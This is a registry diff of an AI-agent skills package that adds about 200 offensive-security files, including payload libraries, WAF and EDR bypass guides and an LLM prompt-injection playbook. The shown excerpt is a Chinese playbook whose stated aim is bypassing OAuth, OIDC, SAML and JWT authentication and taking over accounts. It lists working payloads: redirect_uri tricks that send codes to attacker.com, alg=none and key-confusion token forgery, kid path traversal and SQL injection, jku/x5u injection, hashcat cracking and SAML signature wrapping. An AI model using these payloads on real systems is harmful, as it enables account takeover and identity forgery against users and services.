opencode-skills-collection 4.0.42 → 4.0.44

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (297) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +49 -1
  2. package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
  3. package/bundled-skills/api-security/SKILL.md +205 -0
  4. package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
  5. package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
  6. package/bundled-skills/apk-reverse/SKILL.md +438 -0
  7. package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
  8. package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
  9. package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
  10. package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
  11. package/bundled-skills/attack-chain/SKILL.md +185 -0
  12. package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
  13. package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
  14. package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
  15. package/bundled-skills/attack-chain/references/phases.md +490 -0
  16. package/bundled-skills/binary-diff/SKILL.md +320 -0
  17. package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
  18. package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
  19. package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
  20. package/bundled-skills/case-review/SKILL.md +167 -0
  21. package/bundled-skills/cloud-k8s/SKILL.md +124 -0
  22. package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
  23. package/bundled-skills/code-audit/SKILL.md +92 -0
  24. package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
  25. package/bundled-skills/database-security/SKILL.md +81 -0
  26. package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
  27. package/bundled-skills/diagram-generator/SKILL.md +199 -0
  28. package/bundled-skills/diagram-generator/references/README.md +3 -0
  29. package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
  30. package/bundled-skills/digital-forensics/SKILL.md +93 -0
  31. package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
  32. package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
  33. package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
  34. package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
  35. package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
  36. package/bundled-skills/docs/sources/sources.md +9 -0
  37. package/bundled-skills/docs/users/aas-core.md +1 -1
  38. package/bundled-skills/docs/users/bundles.md +1 -1
  39. package/bundled-skills/docs/users/claude-code-skills.md +1 -1
  40. package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
  41. package/bundled-skills/docs/users/kiro-integration.md +1 -1
  42. package/bundled-skills/docs/users/usage.md +3 -3
  43. package/bundled-skills/docs/users/visual-guide.md +4 -4
  44. package/bundled-skills/docs-generator/SKILL.md +197 -0
  45. package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
  46. package/bundled-skills/docs-generator/references/templates.md +102 -0
  47. package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
  48. package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
  49. package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
  50. package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
  51. package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
  52. package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
  53. package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
  54. package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
  55. package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
  56. package/bundled-skills/email-security/SKILL.md +81 -0
  57. package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
  58. package/bundled-skills/firmware-pentest/SKILL.md +381 -0
  59. package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
  60. package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
  61. package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
  62. package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
  63. package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
  64. package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
  65. package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
  66. package/bundled-skills/hardware-security/SKILL.md +80 -0
  67. package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
  68. package/bundled-skills/ida-reverse/SKILL.md +401 -0
  69. package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
  70. package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
  71. package/bundled-skills/identity-federation/SKILL.md +81 -0
  72. package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
  73. package/bundled-skills/instructree/SKILL.md +94 -0
  74. package/bundled-skills/js-reverse/SKILL.md +239 -0
  75. package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
  76. package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
  77. package/bundled-skills/js-reverse/references/env-patching.md +6 -0
  78. package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
  79. package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
  80. package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
  81. package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
  82. package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
  83. package/bundled-skills/js-reverse/references/output-contract.md +9 -0
  84. package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
  85. package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
  86. package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
  87. package/bundled-skills/llm-security/SKILL.md +160 -0
  88. package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
  89. package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
  90. package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
  91. package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
  92. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
  93. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
  94. package/bundled-skills/lore/SKILL.md +104 -298
  95. package/bundled-skills/lore/references/audit-template.md +21 -4
  96. package/bundled-skills/lore/references/compatibility.md +51 -121
  97. package/bundled-skills/lore/references/config.md +22 -23
  98. package/bundled-skills/lore/references/entry-format.md +33 -3
  99. package/bundled-skills/lore/references/history-command.md +98 -2
  100. package/bundled-skills/lore/references/platform-mirrors.md +45 -16
  101. package/bundled-skills/lore/references/stale-new-markers.md +10 -8
  102. package/bundled-skills/lore/references/summary-template.md +8 -1
  103. package/bundled-skills/lore/references/workflows.md +192 -0
  104. package/bundled-skills/lore/scripts/README.md +14 -13
  105. package/bundled-skills/lore/scripts/README.zh-CN.md +14 -13
  106. package/bundled-skills/lore/scripts/find_duplicates.py +14 -4
  107. package/bundled-skills/lore/scripts/find_stale.py +68 -16
  108. package/bundled-skills/lore/scripts/history.py +235 -23
  109. package/bundled-skills/lore/scripts/id_hash.py +7 -4
  110. package/bundled-skills/lore/scripts/list_entries.py +82 -13
  111. package/bundled-skills/macos-reverse/SKILL.md +85 -0
  112. package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
  113. package/bundled-skills/malware-analysis/SKILL.md +311 -0
  114. package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
  115. package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
  116. package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
  117. package/bundled-skills/mobile-reverse/SKILL.md +222 -0
  118. package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
  119. package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
  120. package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
  121. package/bundled-skills/muapi-media/SKILL.md +311 -0
  122. package/bundled-skills/ot-ics/SKILL.md +117 -0
  123. package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
  124. package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
  125. package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
  126. package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
  127. package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
  128. package/bundled-skills/pentest-tools/SKILL.md +346 -0
  129. package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
  130. package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
  131. package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
  132. package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
  133. package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
  134. package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
  135. package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
  136. package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
  137. package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
  138. package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
  139. package/bundled-skills/pentest-tools/references/payloads.md +32 -0
  140. package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
  141. package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
  142. package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
  143. package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
  144. package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
  145. package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
  146. package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
  147. package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
  148. package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
  149. package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
  150. package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
  151. package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
  152. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
  153. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
  154. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
  155. package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
  156. package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
  157. package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
  158. package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
  159. package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
  160. package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
  161. package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
  162. package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
  163. package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
  164. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
  165. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
  166. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
  167. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
  168. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
  169. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
  170. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
  171. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
  172. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
  173. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
  174. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
  175. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
  176. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
  177. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
  178. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
  179. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
  180. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
  181. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
  182. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
  183. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
  184. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
  185. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
  186. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
  187. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
  188. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
  189. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
  190. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
  191. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
  192. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
  193. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
  194. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
  195. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
  196. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
  197. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
  198. package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
  199. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
  200. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
  201. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
  202. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
  203. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
  204. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
  205. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
  206. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
  207. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
  208. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
  209. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
  210. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
  211. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
  212. package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
  213. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
  214. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
  215. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
  216. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
  217. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
  218. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
  219. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
  220. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
  221. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
  222. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
  223. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
  224. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
  225. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
  226. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
  227. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
  228. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
  229. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
  230. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
  231. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
  232. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
  233. package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
  234. package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
  235. package/bundled-skills/poka-yoke/SKILL.md +172 -0
  236. package/bundled-skills/project-state-governor/SKILL.md +1 -1
  237. package/bundled-skills/project-state-governor/references/project-state-schema.md +1 -1
  238. package/bundled-skills/protocol-reverse/SKILL.md +108 -0
  239. package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
  240. package/bundled-skills/pwn-chain/SKILL.md +209 -0
  241. package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
  242. package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
  243. package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
  244. package/bundled-skills/radare2/SKILL.md +460 -0
  245. package/bundled-skills/radare2/references/cheatsheet.md +129 -0
  246. package/bundled-skills/radio-sdr/SKILL.md +77 -0
  247. package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
  248. package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
  249. package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
  250. package/bundled-skills/reverse-engineering/SKILL.md +213 -0
  251. package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
  252. package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
  253. package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
  254. package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
  255. package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
  256. package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
  257. package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
  258. package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
  259. package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
  260. package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
  261. package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
  262. package/bundled-skills/reverse-engineering/references/languages.md +499 -0
  263. package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
  264. package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
  265. package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
  266. package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
  267. package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
  268. package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
  269. package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
  270. package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
  271. package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
  272. package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
  273. package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
  274. package/bundled-skills/reverse-engineering/references/tools.md +546 -0
  275. package/bundled-skills/spec-driven-loop/SKILL.md +203 -0
  276. package/bundled-skills/spec-driven-loop/references/agent-and-judge-contracts.md +120 -0
  277. package/bundled-skills/spec-driven-loop/references/document-templates.md +184 -0
  278. package/bundled-skills/supply-chain-security/SKILL.md +180 -0
  279. package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
  280. package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
  281. package/bundled-skills/thick-client/SKILL.md +104 -0
  282. package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
  283. package/bundled-skills/threat-hunting/SKILL.md +94 -0
  284. package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
  285. package/bundled-skills/threat-intelligence/SKILL.md +176 -0
  286. package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
  287. package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
  288. package/bundled-skills/wifi-wireless/SKILL.md +80 -0
  289. package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
  290. package/bundled-skills/windows-ad/SKILL.md +109 -0
  291. package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
  292. package/package.json +1 -1
  293. package/skills_index.json +1281 -3
  294. package/bundled-skills/lore/README.md +0 -386
  295. package/bundled-skills/lore/README.zh-CN.md +0 -386
  296. package/bundled-skills/lore/WORKFLOWS.md +0 -216
  297. package/bundled-skills/lore/WORKFLOWS.zh-CN.md +0 -216
@@ -0,0 +1,2504 @@
1
+ # OAuth / OIDC / SAML / JWT
2
+
3
+ > 视角:黑盒,目标是绕过认证 / 伪造 token / 接管账号
4
+
5
+ ## 1. 一句话说清
6
+
7
+ OAuth/OIDC/SAML 是把"认证"外包给第三方 IdP;JWT 是常用的 token 格式。
8
+ SRC 价值:能伪造任意用户身份 = P0;能让回调把 code 发到攻击者域 = P0。
9
+
10
+ ---
11
+
12
+ ## 2. 高频入口点
13
+
14
+ ```
15
+ /oauth/authorize
16
+ /oauth2/authorize
17
+ /oauth/token
18
+ /connect/authorize
19
+ /.well-known/openid-configuration
20
+ /saml/login
21
+ /saml/acs
22
+ /jwks.json
23
+ /.well-known/jwks.json
24
+ 登录后的 Authorization: Bearer eyJ... (JWT)
25
+ 回调:?code=xxx&state=xxx
26
+ ```
27
+
28
+ ---
29
+
30
+ ## 3. 探测手法
31
+
32
+ ### 3.1 OAuth redirect_uri 校验
33
+
34
+ ```bash
35
+ # 1. 子串匹配漏洞
36
+ ?redirect_uri=https://target.com.attacker.com
37
+ ?redirect_uri=https://attacker.com/target.com
38
+ ?redirect_uri=https://target.com.evil.com
39
+
40
+ # 2. 路径绕过
41
+ ?redirect_uri=https://target.com/../attacker.com/cb
42
+ ?redirect_uri=https://target.com@attacker.com
43
+ ?redirect_uri=https://target.com#@attacker.com
44
+ ?redirect_uri=https://target.com%2f@attacker.com
45
+ ?redirect_uri=https://target.com%5c@attacker.com
46
+
47
+ # 3. URL 解析差异
48
+ ?redirect_uri=https://attacker.com\@target.com
49
+ ?redirect_uri=https://attacker.com%2f%40target.com/cb
50
+
51
+ # 4. 通配符 / 子域
52
+ ?redirect_uri=https://attacker.target.com (如果允许 *.target.com)
53
+
54
+ # 5. 大小写 / 编码
55
+ ?redirect_uri=HTTPS://target.com.attacker.com
56
+ ?redirect_uri=https://target.com%2eattacker.com
57
+
58
+ # 6. 空 / 缺失
59
+ ?redirect_uri=
60
+ ?redirect_uri (无值)
61
+
62
+ # 7. CRLF
63
+ ?redirect_uri=https://target.com%0d%0aLocation:%20https://attacker.com
64
+ ```
65
+
66
+ 成功的话 → 把 `code` 发到攻击者的 callback → 用 code 换 token。
67
+
68
+ ### 3.2 state / nonce 缺失
69
+
70
+ ```
71
+ # 不传 state
72
+ ?response_type=code&client_id=xxx&redirect_uri=...
73
+
74
+ # 状态机理:state 缺失 → CSRF 登录绑定攻击
75
+ 1. 攻击者用自己账号在 IdP 上获得 code
76
+ 2. 诱导受害者访问 /callback?code=ATTACKER_CODE
77
+ 3. 受害者绑定到攻击者账号
78
+ ```
79
+
80
+ ### 3.3 PKCE 缺失(移动 / SPA)
81
+
82
+ ```
83
+ 正常:code_challenge / code_verifier
84
+ 攻击:拦截 code 后无 verifier 仍能换 token = PKCE 关闭
85
+
86
+ 测试:
87
+ 1. 看授权请求是否有 code_challenge 参数
88
+ 2. 没有 → 拦截 code 后用 attacker 的 code_verifier 兑换(实际无 verifier 也行)
89
+ ```
90
+
91
+ ### 3.4 JWT 漏洞探针
92
+
93
+ ```bash
94
+ # 1. alg=none
95
+ {"alg":"none","typ":"JWT"}.{...payload...}. ← 空签名
96
+ echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0
97
+ echo -n '{"sub":"admin"}' | base64 -w0
98
+ 拼成 token:<header>.<payload>.
99
+
100
+ # 2. HS/RS 混淆
101
+ # 正常用 RS256(公钥+私钥),改成 HS256(共享密钥)
102
+ # 用泄露的公钥(或 jwks 里的 n+e)作为 HMAC 密钥伪造
103
+
104
+ python3 jwt_tool.py -X k -pk public.pem JWT
105
+
106
+ # 3. 弱密钥爆破
107
+ hashcat -m 16500 jwt.txt rockyou.txt
108
+ john --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txt
109
+
110
+ # 4. kid 路径遍历 / SQL 注入
111
+ {"alg":"HS256","kid":"../../../dev/null"} → 用空文件作密钥
112
+ {"alg":"HS256","kid":"key1' UNION SELECT 'attacker_secret'--"}
113
+
114
+ # 5. jku 注入(外部 JWKS)
115
+ {"alg":"RS256","jku":"https://attacker.com/jwks.json"}
116
+ # 攻击者控制 JWKS → 提供自己的公钥 → 伪造 token
117
+
118
+ # 6. x5u 注入(外部证书)
119
+ {"alg":"RS256","x5u":"https://attacker.com/cert.pem"}
120
+
121
+ # 7. None 大小写
122
+ "alg":"None" / "alg":"NONE" / "alg":"nOnE"
123
+
124
+ # 8. 空签名
125
+ 直接删掉签名段,留 header.payload.(保留点)
126
+ ```
127
+
128
+ 工具:
129
+ - `jwt_tool` (https://github.com/ticarpi/jwt_tool)
130
+ - `jwt.io`(手动编辑)
131
+ - Burp `JWT Editor` 插件
132
+
133
+ ### 3.5 SAML 攻击
134
+
135
+ ```xml
136
+ <!-- XSW (XML Signature Wrapping) -->
137
+ <!-- 把恶意断言包在已签名断言外 / 内 / 兄弟节点 -->
138
+
139
+ <samlp:Response>
140
+ <saml:Assertion Signed>
141
+ <saml:Subject>victim</saml:Subject> ← 已签名
142
+ </saml:Assertion>
143
+ <saml:Assertion>
144
+ <saml:Subject>admin</saml:Subject> ← 未签名,但应用可能用这个
145
+ </saml:Assertion>
146
+ </samlp:Response>
147
+
148
+ <!-- KeyInfo 注入 -->
149
